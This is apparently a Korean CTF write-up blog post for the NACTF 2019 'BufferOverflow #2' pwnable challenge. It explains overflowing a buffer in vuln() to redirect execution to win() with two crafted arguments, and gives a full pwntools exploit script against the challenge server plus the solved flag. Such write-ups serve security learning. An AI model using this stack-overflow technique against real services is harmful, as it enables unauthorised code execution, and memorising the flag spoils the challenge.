일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- BFS
- 큐
- 연결리스트
- House of Orange
- syscall
- DFS
- 스택
- heap
- 이진 탐색
- 이진트리
- OOB
- off by one
- BOF
- 동적 계획법
- 스위핑 알고리즘
- 완전 탐색
- fsb
- 투 포인터
- 백트래킹
- 분할 정복
- 문자열 처리
- 다이나믹 프로그래밍
- 이분 탐색
- tcache
- 브루트 포스
- RTL
- 포맷스트링버그
- ROP
- 에라토스테네스의 체
- 수학
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
NACTF 2019 - BufferOverflow #2 본문
32bit 바이너리에 Partial RELRO만 걸려있다.
이번에는 win()함수에 인자 2개가 추가 되었다.
__int64 al와 int a2인데
__int64 는 8byte이고 int는 4byte라고 알고있기 때문에
자료형에 맞게 인자를 보내줘야 겠다.
그리고 vuln()함수에서 bof가 발생하는데
이번에는 ret를 win으로 덮기만해서는 안되고 위에있는 인자를 덮어줘야할 필요가 있다.
따라서 RTL을 통해 win()함수를 실행 시키면 flag를 얻을 수 있다.
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
#p = process('./bufover-2')
p = remote("shell.2019.nactf.com",31184)
win = 0x080491C2
a1 = 0x14B4DA55
a2 = 0xF00DB4BE
pay = ''
pay += 'a'*0x18
pay += p32(0)
pay += p32(win)
pay += 'aaaa'
pay += p64(a1)
pay += p32(a2)
p.sendlineafter(">", pay)
p.interactive()
|
flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
'write-up > pwnable' 카테고리의 다른 글
NACTF 2019 - Format #1 (0) | 2019.09.23 |
---|---|
NACTF 2019 - Format #0 (0) | 2019.09.23 |
NACTF 2019 - BufferOverflow #1 (0) | 2019.09.23 |
NACTF 2019 - BufferOverflow #0 (0) | 2019.09.23 |
HSCTF 2019 - Storytime (0) | 2019.09.16 |
Comments